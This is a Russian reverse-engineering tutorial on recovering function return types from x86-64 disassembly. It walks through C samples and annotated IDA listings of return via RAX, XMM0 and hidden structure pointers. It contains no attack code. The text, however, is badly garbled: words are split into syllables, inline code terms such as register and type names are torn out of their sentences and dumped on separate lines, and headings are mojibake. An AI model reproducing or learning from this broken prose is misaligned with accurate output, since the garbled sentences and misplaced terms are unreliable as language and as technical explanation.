
на аргу мент , но, помимо это го, она записы вает оста ток в перемен ную ,
передан ную по ссыл ке. Так сколь ко же зна чений вер нула фун кция? И чем воз- 
вра щение резуль тата по ссыл ке хуже или «незакон нее» клас сичес кого

?

xdiv а
b с

return
По пуляр ные изда ния склон ны упро щать проб лему иден тифика ции воз вра- 

щен ного фун кци ей зна чения, рас смат ривая один лишь час тный слу чай с опе- 
рато ром .return

Мы же рас смот рим сле дующие механиз мы:
воз врат зна чения опе рато ром ;• return
воз врат зна чений через аргу мен ты, передан ные по ссыл ке;•
воз врат зна чений через динами чес кую память (кучу);•
воз врат зна чений через гло баль ные перемен ные;•
воз врат зна чений через фла ги про цес сора.•

Во обще-то к это му спис ку не помеша ло бы добавить воз врат зна чений через
дис ковые и про еци руемые в память фай лы, но это выходит за рам ки обсужда- 
емой темы (хотя, рас смат ривая фун кцию как «чер ный ящик» с вхо дом
и выходом, нель зя не приз нать, что вывод фун кци ей резуль татов сво ей
работы в файл фак тичес ки и есть воз вра щаемое ею зна чение).

ÎÏÅÐÀÒÎÐ RETURN

По общепри нято му сог лашению на плат форме x86-64 зна чение, воз вра- 
щаемое опе рато ром , помеща ется в регистр  (в  в 32-раз- 
рядном режиме). Вещес твен ные типы ( , ) — в регистр .

return RAX EAX
float double XMM0

А как воз вра щают ся типы, занима ющие более 8 байт? Ска жем, некая фун- 
кция воз вра щает струк туру, сос тоящую из сотен бай тов, или объ ект сопос- 
тавимо го раз мера. Ни то ни дру гое в регис тры не запих нешь!

Ока зыва ется, если воз вра щаемое зна чение не может быть втис нуто
в регис тры, ком пилятор скры то от прог раммис та переда ет фун кции неяв ный
аргу мент — ссыл ку на локаль ную перемен ную, в которую и записы вает ся воз- 
вра щен ный резуль тат. Таким обра зом, фун кции 

 и  ком пилиру ются в иден- 

тичный (или близ кий к тому) код, из-за чего «вытянуть» из машин ного кода
под линный про тотип невоз можно!

mystuct MyFunc(int a, int
b) void MyFunc(mystryct *my, int a, int b)

Да вай про верим наши пред положе ния. Откомпи лируй сле дующий код
с отклю чен ной опти миза цией в Visual C++:

#include <iostream>
// Структура включает три переменные типа double

  struct mystruct {
  double d_var1;
  double d_var2;
  double d_var3;
};

       mystruct MyFunc1(double a, double b, double c) {
  mystruct my;
   my.d_var1 = a;
   my.d_var2 = b;
   my.d_var3 = c;

  return my;
}

          void MyFunc2(struct mystruct* my, double a, double b, double c) {
   my->d_var1 = a;
   my->d_var2 = b;
   my->d_var3 = c;
}

  int main() {
  mystruct my;
     my = MyFunc1(1.001, 2.002, 3.003);
             std::cout << my.d_var1 << " " << my.d_var2 << " " << my.d_var3 <<
std::endl;

    MyFunc2(&my, 3.004, 5.005, 6.006);
             std::cout << my.d_var1 << " " << my.d_var2 << " " << my.d_var3 <<
std::endl;
}

Вы вод прог раммы

Те перь открой экзешник в IDA и отка жись от заг рузки отла доч ной информа- 
ции, ведь при отладке в боевых усло виях никакой дебаж ной инфы не будет.

В этом слу чае ответь отри цатель но

На сле дующей иллюс тра ции я при вел обе фун кции для срав нения в одном
окне VS Code.

VS Code

Хо тя по объ ему фун кции раз лича ются, выпол няемые ими дей ствия схо жи.
И без отла доч ной информа ции понять их раз личия неп росто. Меж ду тем,
если приг лядеть ся, мож но обна ружить явные намеки, в какой фун кции про- 
исхо дит работа над ссы лоч ным типом, а где выпол няет ся воз врат по зна- 
чению. Смот ри:

   sub_140001000 proc near ; CODE XREF: main+33↓p
    var_38 = qword ptr -38h
    var_30 = qword ptr -30h
    var_28 = qword ptr -28h
      arg_0 = qword ptr 8
      arg_8 = qword ptr 10h
     arg_10 = qword ptr 18h
     arg_18 = qword ptr 20h

; Инициализация переменных-аргументов
     movsd [rsp+arg_18], xmm3
     movsd [rsp+arg_10], xmm2
     movsd [rsp+arg_8], xmm1
; В RCX первый аргумент целочисленный указатель на структуру
       mov [rsp+arg_0], rcx
; Открываем кадр стека
     push rsi
     push rdi
       sub rsp, 28h
; Заполнение полей структуры
     movsd xmm0, [rsp+38h+arg_8]
     movsd [rsp+38h+var_38], xmm0
     movsd xmm0, [rsp+38h+arg_10]
     movsd [rsp+38h+var_30], xmm0
     movsd xmm0, [rsp+38h+arg_18]
     movsd [rsp+38h+var_28], xmm0
       lea rax, [rsp+38h+var_38]
       mov rdi, [rsp+38h+arg_0]
       mov rsi, rax
       mov ecx, 18h
; Побайтно копируем структуру
  rep movsb
; В RAX возвращаем указатель на структуру
       mov rax, [rsp+38h+arg_0]
; Закрываем кадр стека
       add rsp, 28h
      pop rdi
      pop rsi
 retn

 sub_140001000 endp

В начале фун кции зна чения копиру ются из регис тров в память. Вид но, что
пер вый аргу мент целочис ленный. Мож но пред положить, что это ука затель
на струк туру. Осталь ные аргу мен ты переда ются в регис трах , сле дова- 
тель но, пред став ляют чис ла с пла вающей запятой. Пос ле откры тия кад ра сте- 
ка зна чения раз меща ются в смеж ных областях памяти, это может ука зывать,
что они при над лежат обще му кон тей неру (струк туре, мас сиву).

XMM*

Да лее копиру ется 24 бай та ( ) или 192 бита ( ). Если это чис ло раз- 

делить на три, получим 64 бита ( ). Что и тре бова лось доказать: один эле- 

мент  — это 64 бита, а в струк туре их три. Пред послед ним дей стви ем
помеща ем ука затель на струк туру в , в который будет воз вра щен резуль- 

тат. Пос ледним дей стви ем зак рыва ем кадр сте ка. В ито ге нап рашива ется
вывод, что здесь про исхо дит воз врат зна чения. Сле дова тель но, про тотип
фун кции выг лядит так:

0x18 0xC0
0x40

double
RAX

      mystruct Func(double a, double b, double c)

Раз берем дизас сем блер ный лис тинг вто рой фун кции.

   sub_140001060 proc near ; CODE XREF: main+DD↓p
      arg_0 = qword ptr 8
      arg_8 = qword ptr 10h
     arg_10 = qword ptr 18h
     arg_18 = qword ptr 20h

; Инициализация переменных-аргументов
     movsd [rsp+arg_18], xmm3
     movsd [rsp+arg_10], xmm2
     movsd [rsp+arg_8], xmm1
       mov [rsp+arg_0], rcx
; Модификация полей структуры
       mov rax, [rsp+arg_0]
     movsd xmm0, [rsp+arg_8]
       movsd qword ptr [rax], xmm0
       mov rax, [rsp+arg_0]
     movsd xmm0, [rsp+arg_10]
       movsd qword ptr [rax+8], xmm0
       mov rax, [rsp+arg_0]
     movsd xmm0, [rsp+arg_18]
       movsd qword ptr [rax+10h], xmm0
 retn

 sub_140001060 endp

На чало такое же, как в прош лый раз. Но в этой фун кции не откры вает ся кадр
сте ка, что может ука зывать на работу с сущес тву ющей струк турой. Далее
одно за дру гим выпол няет ся замеще ние зна чений полей струк туры. В кон це
фун кция ничего не воз вра щает. Отсю да мож но вывес ти такой про тотип:

         void Func(struct mystruct* my, double a, double b, double c)

Нам уда лось опре делить раз личия фун кций толь ко пос ле их глу боко го ана- 
лиза. Теперь взгля нем на самоде ятель ность ком пилято ра C++Builder.

Срав нение фун кций MyFunc1 и MyFunc2, тран сли рован ных ком пилято -
ром C++Builder 10.4

В этом слу чае при бег лом взгля де раз ница сов сем незамет на. В обе их фун- 
кци ях при сутс тву ет кадр сте ка. Меж ду тем и здесь есть зацеп ка: пос ле откры- 
тия кад ра сте ка толь ко в  содер жимое регис тра  копиру ется в .

А в пер вом по логике вещей находит ся целочис ленное зна чение или ука- 
затель. Так же в  перед зак рыти ем кад ра сте ка ука затель на область

памяти  копиру ется в регистр  явно для воз вра та резуль тата,

сле дова тель но, эта фун кция име ет такой про тотип:

MyFunc1 RCX RAX

MyFunc1
RBP+var_20 RAX

      mystruct MyFunc1(double a, double b, double c)

Îïðåäåëåíèå òèïà çíà÷åíèÿ

Тип воз вра щаемо го зна чения мож но приб лизитель но опре делить по раз меру
регис тра, в котором он воз вра щает ся. Если воз вра щаемое зна чение
помеща ется в , мож но пред положить, что воз вра щает ся , 
или дру гой четырех бай товый тип. Не исклю чен вари ант воз вра та мень шего
типа, нап ример . Так же для воз вра та одно бай товых типов может быть

исполь зован регистр  или . В пос леднем может быть воз вра щено двух- 
бай товое зна чение. Вось мибай товые типы воз вра щают ся в регис тре ,

при этом ник то не зап реща ет ком пилято ру вер нуть в нем зна чение более
мел кого типа, тут уж как повезет. На 64-бит ной плат форме это основное
средс тво воз вра та зна чения из фун кции.

EAX int float

char
AL AX

RAX

Ес ли фун кция при выходе явно прис ваивает одно му из перечис ленных
выше регис тров некото рое зна чение, зна чит, оно воз вра щает ся в вызыва- 
ющую фун кцию. Если же эти регис тры оста ются неоп ределен ными, то, ско рее
все го, воз вра щает ся тип , то есть нич то. Уточ нить информа цию помога ет

ана лиз вызыва ющей фун кции, а точ нее, то, как она обра щает ся с регис тра ми
. Логич но пред положить: если вызыва ющая фун кция не исполь зует

зна чения, оставлен ного вызыва емой фун кци ей в регис трах , ее

тип — . Но это пред положе ние не всег да вер но. Час тень ко прог раммис- 

ты игно риру ют воз вра щаемое зна чение, вво дя иссле дова телей в заб лужде- 
ние.

void

RAX [EAX]
RAX [EAX]

void

Для зак репле ния изу чен ного рас смот рим сле дующий при мер, демонс три- 
рующий механизм воз вра щения основных типов зна чений:

#include <stdio.h>

// Демонстрация возвращения переменной типа char оператором return
     char char_func(char a, char b) {

    return a + b;
}

// Демонстрация возвращения переменной типа int оператором return
     int int_func(int a, int b) {

    return a + b;
}

// Демонстрация возвращения переменной типа int64 оператором return
     __int64 int64_func(__int64 a, __int64 b) {

    return a + b;
}

// Демонстрация возвращения указателя на int оператором return
// Демонстрация возвращения значения через аргументы, переданные по 
ссылке

     int* near_func(int* a, int* b) {
     int* c = new int;
     c[0] = a[0] + b[0];

  return c;
}

  int main() {
  int a;
  int b;

   a = 0x666;
   b = 0x777;

 printf("%I64x\n",
     char_func(0x1, 0x2) +
     int_func(0x3, 0x4) +
     int64_func(0x5, 0x6) +
    near_func(&a, &b)[0]);
}

Ре зуль тат его ком пиляции в Microsoft Visual C++ 2019 с отклю чен ной опти- 
миза цией будет выг лядеть так:

    char char_func(char, char) proc near
; Два аргумента размером в байт

     arg_0 = byte ptr 8
     arg_8 = byte ptr 10h

; Инициализация переменных значениями из регистров, переданных в 
параметрах
     mov [rsp+arg_8], dl
     mov [rsp+arg_0], cl

Из памяти оба зна чения копиру ются в 32-бит ные регис тры. Вмес те с тем они
пре обра зуют ся из типа  в .char int

  movsx eax, [rsp+arg_0]
  movsx ecx, [rsp+arg_8]

Сло жение зна чений, находя щих ся в регис трах. Сум ма накап лива ется в регис- 
тре . В нем так же выпол няет ся воз врат резуль тата в выз вавшую фун кцию.EAX

    add eax, ecx

К сожале нию, дос товер но опре делить тип воз вра щаемо го зна чения невоз- 
можно. Он с рав ным успе хом может пред став лять собой  и , при чем

 даже более веро ятен, так как сум ма двух  по сооб ражени ям
безопас ности дол жна помещать ся в , ина че воз можно перепол нение.

int char
int char

int

retn
   char char_func(char, char) endp

    int int_func(int, int) proc near
; Два аргумента размером в 4 байта

     arg_0 = dword ptr 8
     arg_8 = dword ptr 10h

; Инициализация переменных значениями из регистров, переданных в 
параметрах
     mov [rsp+arg_8], edx
     mov [rsp+arg_0], ecx
; Копирование значений из памяти в 32-битные регистры
     mov eax, [rsp+arg_8]
     mov ecx, [rsp+arg_0]
; Сложение значений из регистров
     add ecx, eax

Ко пиро вание в регистр  сум мы, которая будет воз вра щена. По всей веро- 
ятности, тип воз вра щаемо го зна чения — .

EAX
int

    mov eax, ecx
 retn
   int int_func(int, int) endp

    __int64 int64_func(__int64, __int64) proc near
; Два аргумента размером в четыре слова (8 байт)

     arg_0 = qword ptr 8
     arg_8 = qword ptr 10h

; Загружаем в память значения из 64-битных регистров
     mov [rsp+arg_8], rdx
     mov [rsp+arg_0], rcx
; Копируем значения из памяти в более удобные регистры
     mov rax, [rsp+arg_8]
     mov rcx, [rsp+arg_0]
; Выполняем суммирование
     add rcx, rax
; Переносим результат в регистр RAX, который и будет возвращен
     mov rax, rcx

Сле дова тель но, воз вра щаемый тип име ет раз мер 64 бита, то есть , что
и тре бова лось доказать.

int64

retn
   __int64 int64_func(__int64, __int64) endp

       int * near_func(int *, int *) proc near
; Две переменные размером в четыре слова (8 байт)

    var_18 = qword ptr -18h
    var_10 = qword ptr -10h

; Два аргумента размером в четыре слова (8 байт)
      arg_0 = qword ptr 8
      arg_8 = qword ptr 10h

; Загружаем в память значения из 64-битных регистров
     mov [rsp+arg_8], rdx
     mov [rsp+arg_0], rcx
; Открываем кадр стека
     sub rsp, 38h
      mov ecx, 4 ; size
; Выделяем 4 байта из кучи
     call operator new(unsigned __int64)
; Заносим указатель на выделенную память в переменную var_10
     mov [rsp+38h+var_10], rax
     mov rax, [rsp+38h+var_10]
     mov [rsp+38h+var_18], rax

Сле дующий вити ева тый код исполь зует ся, что бы опре делить сме щение внут- 
ри мас сива. Стоп! Но у нас же нет никако го мас сива. А как же стро ка 

 Получа ется аж три мас сива, ведь ком пилятор обра- 
баты вает ука зате ли как мас сивы и наобо рот.

?c[0] = a[0] + b[0];

      mov eax, 4
      imul rax, 0
       mov ecx, 4
      imul rcx, 0
; Готовим аргументы для сложения
       mov rdx, [rsp+38h+arg_0]
       mov eax, [rdx+rax]
       mov rdx, [rsp+38h+arg_8]
; Суммируем
       add eax, [rdx+rcx]
; Снова определяем смещение
       mov ecx, 4
      imul rcx, 0
       mov rdx, [rsp+38h+var_18]
       mov [rdx+rcx], eax
; Помещаем в RAX возвращаемое значение
       mov rax, [rsp+38h+var_18]
; Закрываем кадр стека
       add rsp, 38h
 retn
      int * near_func(int *, int *) endp

    main proc near
    var_38 = dword ptr -38h
    var_30 = qword ptr -30h
    var_28 = qword ptr -28h

   b      = dword ptr -20h
   a      = dword ptr -1Ch

    var_18 = qword ptr -18h
; __unwind { // __GSHandlerCheck
; Открываем кадр стека
       sub rsp, 58h
       mov rax, cs:__security_cookie
       xor rax, rsp
; Инициализируем переменные
       mov [rsp+58h+var_18], rax
; В переменную a типа int заносим значение 0x666
       mov [rsp+58h+a], 666h
; В переменную b типа int заносим значение 0x777
       mov [rsp+58h+b], 777h
; В 8-битные регистры помещаем параметры типа char перед вызовом 
функции
        mov dl, 2 ; b
        mov cl, 1 ; a

Вы зыва ем фун кцию . Как мы пом ним, у нас были сом нения

в типе воз вра щаемо го ею зна чения: либо , либо .

char_func(1,2)
int char

    call char_func(char,char)

Продолжение статьи →
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ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ИДЕНТИФИЦИРУЕМ ВОЗВРАЩАЕМОЕ

ФУНКЦИЕЙ ЗНАЧЕНИЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Рас ширя ем воз вра щен ное фун кци ей зна чение до , сле дова тель- 
но, она воз вра тила .

signed int
signed char

    movsx eax, al
; Сохраняем результат в переменной var_38
       mov [rsp+58h+var_38], eax
; На этот раз помещаем параметры в 32-битные регистры, 
следовательно, их тип — int
        mov edx, 4 ; b
        mov ecx, 3 ; a
; Вызываем функцию int_func(3,4), возвращающую значение типа int
     call int_func(int,int)
       mov ecx, [rsp+58h+var_38]
; Прибавляем результат к значению переменной var_38
       add ecx, eax
       mov eax, ecx

Пре обра зуем двой ное сло во, содер жаще еся в регис тре , в чет верное,

помеща емое в регистр . Это говорит о том, что тип воз вра щен ного фун- 
кци ей зна чения пре обра зует ся из  в . Пока непонят но, для чего

и зачем.

EAX
RAX

int int64

cdqe
; Копируем расширенное четверное слово в переменную var_30
       mov [rsp+58h+var_30], rax
; Готовим 32-битные параметры
        mov edx, 6 ; b
        mov ecx, 5 ; a

Вы зыва ем фун кцию , воз вра щающую тип . Теперь

ста новит ся понят но, чем выз вано рас ширение пре дыду щего резуль тата.

int64_func(5,6) int64

    call int64_func(__int64,__int64)
       mov rcx, [rsp+58h+var_30]
; Прибавляем результат, возвращенный функцией int64_func, к 
четверному слову
       add rcx, rax
       mov rax, rcx
; Сохраняем результат предыдущего сложения в переменной var_28
       mov [rsp+58h+var_28], rax

Для переда чи в качес тве парамет ров заг ружа ем в регис тры  и  ука- 
зате ли на перемен ные  и , зна чения которых опре деле ны в начале фун кции.

RDX RCX
b a

       lea rdx, [rsp+58h+b] ; b
        lea rcx, [rsp+58h+a] ; a
; Вызываем near_func
       call near_func(int *,int *)
; Определяем смещение
       mov ecx, 4
      imul rcx, 0
; Расширяем двойное слово, на которое указывают два регистра [
rax+rcx], в четверное слово
      movsxd rax, dword ptr [rax+rcx]
       mov rcx, [rsp+58h+var_28]
; Складываем два четверных слова
       add rcx, rax
       mov rax, rcx
       mov rdx, rax
; Передаем формат строки вывода
        lea rcx, _Format ; "%I64x\n"
; И, наконец, выводим результат
     call printf
       xor eax, eax
       mov rcx, [rsp+58h+var_18]
        xor rcx, rsp ; StackCookie
     call __security_check_cookie
       add rsp, 58h
 retn

 main endp

Как мы видим, в иден тифика ции типа зна чения, воз вра щен ного опе рато ром
, ничего хит рого нет, все про заич но. Но не будем спе шить. Рас смот- 

рим сле дующий при мер, демонс три рующий воз вра щение струк туры по зна- 
чению. Как ты дума ешь, что имен но и в каких регис трах будет воз вра щать ся?

return

#include <stdio.h>
#include <string.h>

  struct XT {
  char s0[4];
  int x;
};

// Функция возвращает значение типа "структура XT" по значению
       struct XT MyFunc(const char* a, int b) {

   struct XT xt;
   strcpy_s(&xt.s0[0], 4, a);
   xt.x = b;

  return xt;
}

  int main() {
   struct XT xt;
    xt = MyFunc("Hello, Sailor!", 0x666);
   printf("%s %x\n", &xt.s0[0], xt.x);
}

Вни мание! Не запус кай откомпи лиро ван ную прог рамму. Мало того что она
содер жит ошиб ку (в буфер вмес тимостью четыре сим вола помеща ется стро- 
ка раз мером в 14 сим волов), так еще некото рые анти виру сы счи тают такую
прог рамму мал варью.

Заг лянем в дизас сем бли рован ный резуль тат:

       struct XT MyFunc(char const *, int) proc near

Эти локаль ные перемен ные на самом деле эле мен ты «рас щеплен ной» струк- 
туры . Как уже ранее говори лось в статье «

»,
ком пилятор всег да стре мит ся обра щать ся к эле мен там струк туры по их фак- 
тичес ким адре сам, а не через базовый ука затель. Поэто му не так-то прос то
отли чить струк туру от не свя зан ных меж ду собой перемен ных, а под час это 

 невоз можно!

XT Фун дамен таль ные осно вы

хакерс тва. Как иден тифици ровать струк туры и объ екты в чужой прог рамме

и вовсе

       Dst = byte ptr -18h
    var_10 = qword ptr -10h

; Функция принимает два аргумента
        Src = qword ptr 8

      arg_8 = dword ptr 10h
; Берем значения аргументов из регистров
       mov [rsp+arg_8], edx
       mov [rsp+Src], rcx
; Резервируем место для локальных переменных
       sub rsp, 38h
       mov rax, cs:__security_cookie
       xor rax, rsp
       mov [rsp+38h+var_10], rax
; Определяем смещение
       mov eax, 1
      imul rax, 0
; Помещаем в RAX указатель на буфер-приемник
       lea rax, [rsp+rax+38h+Dst]
; Подготовка параметров для вызова strcpy_s
        mov r8, [rsp+38h+Src] ; Src — буфер-источник
       mov edx, 4            ; SizeInBytes
       mov rcx, rax          ; Dst
     call cs:__imp_strcpy_s
; Помещаем в EAX значение второго аргумента — 32-битного числа
       mov eax, [rsp+38h+arg_8]
; Помещаем число из регистра EAX сразу после буфера-приемника в 
памяти
         mov dword ptr [rsp+38h+Dst+4], eax

В  копиру ется ука затель на чет верное сло во, начиная с адре са при емни- 

ка. Явная заг рузка в регистр  перед выходом из фун кции ука зыва ет на то,

что это и есть зна чение, воз вра щаемое фун кци ей.

RAX
RAX

        mov rax, qword ptr [rsp+38h+Dst]
       mov rcx, [rsp+38h+var_10]
       xor rcx, rsp        ; StackCookie
     call __security_check_cookie
       add rsp, 38h
 retn

      struct XT MyFunc(char const *, int) endp

  main proc near
; Три локальные переменные

    var_28 = qword ptr -28h
    var_20 = qword ptr -20h
    var_18 = qword ptr -18h

; Резервируем 0x48 байт под локальные переменные
       sub rsp, 48h
; Открываем кадр стека
       mov rax, cs:__security_cookie
       xor rax, rsp
       mov [rsp+48h+var_18], rax
; Подготовка параметров для вызова функции
        mov edx, 666h ; b
           lea rcx, a ; "Hello, Sailor!"
       call MyFunc(char const *,int)

Воз вра щен ный резуль тат помеща ется в перемен ную , а затем

в . Как мы пом ним, воз вра щен ный резуль тат есть ука затель на область
памяти.

var_28
var_20

      mov [rsp+48h+var_28], rax
       mov rax, [rsp+48h+var_28]
       mov [rsp+48h+var_20], rax
; Находим смещение
       mov eax, 1
      imul rax, 0
; В RAX загружаем указатель на область памяти
       lea rax, [rsp+rax+48h+var_20]

Об рати вни мание: про исхо дит раз деление памяти, в регистр  помеща ется

ука затель на вто рой кусок выделен ной памяти, где хра нит ся чис ло.

R8D

        mov r8d, dword ptr [rsp+48h+var_20+4]
       mov rdx, rax
        lea rcx, _Format ; "%s %x\n"

В ито ге получи лось, что фун кции  были переда ны три парамет ра:
в регис тре  — фор матная стро ка, в регис тре  — стро ка для вывода,

в , пред став ляющем собой 32-бит ную часть регис тра , — чис ло. Нем- 

ного пораз мыслив, мы даже смо жем вос ста новить под линный про тотип: 
.

printf
RCX RDX

R8D R8

struct X{char a[4]; int b} MyFunc(char* c, int d);

    call printf
       xor eax, eax
       mov rcx, [rsp+48h+var_18]
; Закрываем кадр стека
        xor rcx, rsp ; StackCookie
     call __security_check_cookie
       add rsp, 48h
 retn

 main endp

А теперь слег ка изме ним струк туру , заменив  на ,

что гаран тирован но не вле зет в регистр , и пос мотрим, как изме нит ся

от это го код:

XT char s0[4] char s0[10]
RAX

  main proc near
    var_58 = byte ptr -58h
    result = XT ptr -48h
    var_38 = byte ptr -38h
    var_2C = dword ptr -2Ch
    var_28 = qword ptr -28h

; Открываем кадр стека
     push rsi
     push rdi
; Выделяем 0x68 байт под локальные переменные
       sub rsp, 68h
       mov rax, cs:__security_cookie
       xor rax, rsp
       mov [rsp+78h+var_28], rax
; Передаем функции MyFunc крайний правый аргумент — значение 0x666 
типа int
        mov r8d, 666h ; b
; Передаем функции MyFunc второй справа аргумент — указатель на 
строку
           lea rdx, a ; "Hello, Sailor!"
; Передаем функции MyFunc указатель на переменную result
       lea rcx, [rsp+78h+result]

Стоп! Это го аргу мен та не было в про тоти пе фун кции! Отку да же он взял ся?
Вер но, не было. Его вста вил ком пилятор для воз вра щения струк туры по зна- 
чению. Пос леднюю фра зу вооб ще-то сто ило бы зак лючить в кавыч ки для при- 
дания ей иро нич ного оттенка: струк тура, воз вра щаемая по зна чению, в дей- 
стви тель нос ти воз вра щает ся по ссыл ке.

; Вызываем MyFunc
       call MyFunc(char const *,int)
; В RCX загружаем указатель на переменную var_58
       lea rcx, [rsp+78h+var_58]
; Перемещаем этот указатель в RDI
       mov rdi, rcx

 воз вра тила в  ука затель на воз вра щен ную ей по ссыл ке струк туру.

Помеща ем этот ука затель в .

MyFunc RAX
RSI

      mov rsi, rax
       mov ecx, 10h
; Копируем 0x10 байт из локации памяти, на которую указывает RSI, в 
локацию, на которую указывает RDI
  rep movsb
; Следующий код снова копирует 0x10 байт, только на этот раз из 
переменной var_58 в переменную var_38
       lea rax, [rsp+78h+var_38]
       lea rcx, [rsp+78h+var_58]
       mov rdi, rax
       mov rsi, rcx
       mov ecx, 10h
  rep movsb
; Определяем нулевое смещение
       mov eax, 1
      imul rax, 0
; В RAX помещаем указатель на переменную var_38, чтобы потом 
передать в качестве второго параметра
       lea rax, [rsp+rax+78h+var_38]
; Подготавливаем параметры для вызова printf
; var_2C явно указывает на 32-битное число
       mov r8d, [rsp+78h+var_2C]
       mov rdx, rax
        lea rcx, _Format ; "%s %x\n"
; Запихнув в RCX форматную строку, вызываем функцию вывода данных на 
консоль
     call printf
       xor eax, eax
       mov rcx, [rsp+78h+var_28]
        xor rcx, rsp ; StackCookie
     call __security_check_cookie
       add rsp, 68h
; Закрываем кадр стека
      pop rdi
      pop rsi
 retn

 main endp

       struct XT MyFunc(char const *, int) proc near
       Dst = byte ptr -38h

    var_2C = dword ptr -2Ch
    var_28 = qword ptr -28h

Об рати вни мание: фун кции переда ются три аргу мен та, а не два, как было
объ явле но в про тоти пе:

      arg_0 = qword ptr 8
        Src = qword ptr 10h

     arg_10 = dword ptr 18h
       mov [rsp+arg_10], r8d
       mov [rsp+Src], rdx
       mov [rsp+arg_0], rcx
; Открываем кадр стека
     push rsi
     push rdi
; Резервируем 0x48 байт под локальные переменные
       sub rsp, 48h
       mov rax, cs:__security_cookie
       xor rax, rsp
       mov [rsp+58h+var_28], rax
; Определяем смещение
       mov eax, 1
      imul rax, 0
; В RAX загружаем указатель на буфер-приемник
       lea rax, [rsp+rax+58h+Dst]
; Подготавливаем параметры для вызова strcpy_s
; В R8 загружаем указатель на буфер-источник
        mov r8, [rsp+58h+Src] ; Src
       mov edx, 0Ah          ; SizeInBytes
       mov rcx, rax          ; Dst
     call cs:__imp_strcpy_s
; Копируем в EAX третий аргумент, очевидно число 0x666
       mov eax, [rsp+58h+arg_10]
; Помещаем это число в переменную var_2C, которая находится «рядом» 
с Dst
       mov [rsp+58h+var_2C], eax
; В RAX загружаем указатель на буфер-приемник
       lea rax, [rsp+58h+Dst]

В  помеща ется ука затель на аргу мент . Как мы уже зна ем, в этом

аргу мен те ком пилятор скры то от прог раммис та переда ет ука затель
на локаль ную перемен ную. Имен но в эту перемен ную фун кция помеща ет
струк туру, воз вра щаемую «по зна чению».

RDI arg_0

      mov rdi, [rsp+58h+arg_0]
      mov rsi, rax
      mov ecx, 10h

Ко пиру ем  байт из локации памяти, на которую ука зыва ет , в локацию,
на которую ука зыва ет , а там находит ся область памяти для воз вра та.

0x10 RSI
RDI

 rep movsb

Об рати вни мание: стро ка занима ет  (10) байт, а в область  было ско- 

пиро вано  (16) байт. Зна чит, будет воз вра щено 16 байт, но отку да взя- 

лись еще два бай та, если из десяти байт сос тоит стро ка и из четырех байт —
чис ло (тип )?

0xA RDI
0x10

int
В исходном тек сте было записа но , но ком пилятор, вырав- 

нивая эле мен ты струк туры по адре сам, крат ным четырем, перенес вто рой
эле мент —  — по адре су , тем самым соз дав «дыру» меж ду

кон цом стро ки и началом вто рого эле мен та.

char s0[10]

int x base+0xC

Ана лиз дизас сем блер ного лис тинга не поз воля ет вос ста новить истинный
вид струк туры. Единс твен ное, что мож но ска зать, — дли на стро ки  лежит

в интерва ле . В  для воз вра та помеща ется ука затель

на , который изна чаль но был нас тро ен для воз вра щения.

s0
[0x9 — 0xC] RAX

arg_0

      mov rax, [rsp+58h+arg_0]
       mov rcx, [rsp+58h+var_28]
        xor rcx, rsp ; StackCookie
     call __security_check_cookie
; Закрываем кадр стека
       add rsp, 48h
      pop rdi
      pop rsi
 retn

      struct XT MyFunc(char const *, int) endp

Воз ника ет воп рос: а как воз вра щают ся струк туры, сос тоящие из сотен
и тысяч бай тов? Ответ: они копиру ются в локаль ную перемен ную, неяв но
передан ную ком пилято ром по ссыл ке. То есть точ но так же, как мы видели
в прош лом при мере со струк турой, нем ного пре вос ходящей раз мер 64-бит- 
ного регис тра. Что бы уви деть это, изме ним в исходном тек сте пре дыду щего
при мера  на . Резуль тат пов торной ком пиляции
дол жен выг лядеть так (при веде на толь ко фун кция , пре тер певшая

наиболь шие изме нения):

char s0[10] char s0[0x666]
MyFunc

       struct XT MyFunc(char const *, int) proc near
       Dst = byte ptr -698h

    var_30 = dword ptr -30h
    var_28 = qword ptr -28h
      arg_0 = qword ptr 8

        Src = qword ptr 10h
     arg_10 = dword ptr 18h

       mov [rsp+arg_10], r8d
       mov [rsp+Src], rdx
       mov [rsp+arg_0], rcx
     push rsi
     push rdi

Для локаль ных перемен ных выделя ется зна читель но боль ше памяти. И мы
наперед зна ем, почему.

      sub rsp, 6A8h
       mov rax, cs:__security_cookie
       xor rax, rsp
       mov [rsp+6B8h+var_28], rax
; Определяем смещение
       mov eax, 1
      imul rax, 0
; В RAX загружаем указатель на буфер-приемник
       lea rax, [rsp+rax+6B8h+Dst]
        mov r8, [rsp+6B8h+Src] ; Src
        mov edx, 666h ; SizeInBytes
        mov rcx, rax ; Dst
     call cs:__imp_strcpy_s
; Копируем в EAX третий аргумент, очевидно число 0x666
       mov eax, [rsp+6B8h+arg_10]
; Помещаем это число в переменную var_30, которая находится «рядом» 
с Dst
       mov [rsp+6B8h+var_30], eax
; В RAX загружаем указатель на буфер-приемник
       lea rax, [rsp+6B8h+Dst]

В  помеща ется ука затель на аргу мент , пред став ляющий ука затель

на воз вра щаемую струк туру.

RDI arg_0

      mov rdi, [rsp+6B8h+arg_0]
      mov rsi, rax
      mov ecx, 66Ch

Ко пиру ем  байт памяти из локации, на которую ука зыва ет ,

в локацию, куда ука зыва ет , а там находит ся область памяти для воз вра та.

0x66С RSI
RDI

 rep movsb
       mov rax, [rsp+6B8h+arg_0]
       mov rcx, [rsp+6B8h+var_28]
        xor rcx, rsp ; StackCookie
     call __security_check_cookie
       add rsp, 6A8h
      pop rdi
      pop rsi
 retn

      struct XT MyFunc(char const *, int) endp

Âåùåñòâåííûå çíà÷åíèÿ

В сов ремен ных про цес сорах, под держи вающих тех нологию SSE2, работа
с вещес твен ными типами дан ных мало чем отли чает ся от работы с целочис- 
ленны ми. Единс твен ное раз личие — это исполь зование дру гих регис тров
и нового набора команд. Для под твержде ния ска зан ного иссле дуем сле- 
дующий при мер:

#include <stdio.h>

     float MyFunc(float a, float b) {
    return a + b;
}

  int main() {
   printf("%f\n", MyFunc(6.66f, 7.77f));
}

Ре зуль тат его ком пиляции Microsoft Visual C++ дол жен выг лядеть приб- 
лизитель но так:

    float MyFunc(float, float) proc near
     arg_0 = dword ptr 8
     arg_8 = dword ptr 10h

В память заг ружа ются передан ные в регис трах аргу мен ты с пла вающей точ-
кой оди нар ной точ ности. Если бы вмес то  мы исполь зовали тип ,

коман да заг рузки зна чения при няла бы вид .

float double
movd

    movss [rsp+arg_8], xmm1
    movss [rsp+arg_0], xmm0
    movss xmm0, [rsp+arg_0]

А вот сло жение двух зна чений с пла вающей точ кой оди нар ной точ ности.
